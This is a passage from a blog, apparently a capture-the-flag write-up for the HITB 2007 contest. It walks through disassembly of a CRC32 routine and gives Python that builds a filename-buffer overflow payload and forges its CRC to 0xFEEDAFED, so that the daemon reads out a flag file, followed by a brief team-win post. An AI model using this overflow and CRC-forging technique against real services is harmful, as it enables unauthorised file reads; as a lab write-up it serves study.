.text:08048A60
.text:08048A60 loc_8048A60:                            ; CODE XREF: CRC32+4C↓j
.text:08048A60                 <b>mov</b>     eax, [ebp+var_4]
.text:08048A63                 <b>cmp</b>     eax, [ebp+arg_4]
.text:08048A66                 <b>jge</b>     short loc_8048A9A
.text:08048A68                 <b>mov</b>     eax, [ebp+var_8]
.text:08048A6B                 <b>mov</b>     ecx, eax
.text:08048A6D                 <b>shr</b>     ecx, 8
.text:08048A70                 <b>mov</b>     eax, [ebp+var_4]
.text:08048A73                 <b>add</b>     eax, [ebp+arg_0]
.text:08048A76                 <b>movzx</b>   eax, byte ptr [eax]
.text:08048A79                 <b>xor</b>     eax, [ebp+var_8]
.text:08048A7C                 <b>and</b>     eax, 0FFh
.text:08048A81                 <b>lea</b>     edx, ds:0[eax*4]
.text:08048A88                 <b>mov</b>     eax, [ebp+arg_8]
.text:08048A8B                 <b>mov</b>     eax, [edx+eax]
.text:08048A8E                 <b>xor</b>     eax, ecx
.text:08048A90                 <b>mov</b>     [ebp+var_8], eax
.text:08048A93                 <b>lea</b>     eax, [ebp+var_4]
.text:08048A96                 <b>inc</b>     dword ptr [eax]
.text:08048A98                 <b>jmp</b>     short loc_8048A60
.text:08048A9A ; ---------------------------------------------------------------------------
.text:08048A9A
.text:08048A9A loc_8048A9A:                            ; CODE XREF: CRC32+1A↑j
.text:08048A9A                 <b>mov</b>     eax, [ebp+var_8]
.text:08048A9D                 <b>not</b>     eax
.text:08048A9F                 <b>leave</b>
.text:08048AA0                 <b>retn</b>
.text:08048AA0 CRC32           endp

If you have seen CRC32 routine before, you will be able to tell this is it. A few signatures are the 0xFFFFFFFF initial value, the “take each character, xor it, and logical and it with 0xFF” (movzx, xor and and starting from 08048A76, and the negation at 08048A9D.

And you’ll be tempting to rename static_buffer to crc32_table. But that’s beside the point.

Now we go back to the main function. After taking CRC32 value of the whole read input_buffer, the value is compared with 0xFEEDAFED. If it is equal, then the filename is open, read and written out.

Exploit it

Let’s gather what we’ve got. First we are able to overflow the filename buffer. Second, if the CRC value matches 0xFEEDAFED, the file identified by filename will be opened, read, and written out to stdout. And there lies our only challenge, to construct a buffer with CRC32 value matching 0xFEEDAFED.

import zlib
buffer = "a" * (0x258 - 0x48) + "/etc/flags/daemon01.txt\x00"

<b>def</b> fix_crc(buffer, target_crc):
  buffer_crc = zlib.crc32(buffer)
  charset = [chr(x) <b>for</b> x <b>in</b> range(256)]
  fix = ['a'] * 4
  crc = [0] * 4
  <b>for</b> fix[0] <b>in</b> charset:
    crc[0] = zlib.crc32(fix[0], buffer_crc)
    <b>for</b> fix[1] <b>in</b> charset:
      crc[1] = zlib.crc32(fix[1], crc[0])
      <b>for</b> fix[2] <b>in</b> charset:
        crc[2] = zlib.crc32(fix[2], crc[1])
        <b>for</b> fix[3] <b>in</b> charset:
          crc[3] = zlib.crc32(fix[3], crc[2])
          <b>if</b> (crc[3] &amp; 0xFFFFFFFF) == target_crc:
            <b>return</b> ''.join(fix)

buffer = buffer + fix_crc(buffer, 0xFEEDAFED)

Behold our super-elite Python code! It will generate an exploit string ready to be sent to port 1111. Of course it runs damn slow. You are better off applying the reverse CRC32 described by anarchriz.

Observation

This daemon is similar to last year HITB 2006 KL CTF. Last year the CRC32 is a bit different, it used the same lookup table but initial value was not the standard 0xFFFFFFFF and there was no negation at the end. This year, the CRC32 is the standard CRC32 used in Zlib.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

HITB 2007 Flag Captured

September 7, 2007 by lamer · Leave a Comment 

I’m washed, totally, so I’m just putting up a few words to say that team Sao Vang captured the flag in this year HITB. I’m sure skz0, the team’s leader, will post a longer blog entry detailing this experience. Congrats to the team, once again.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca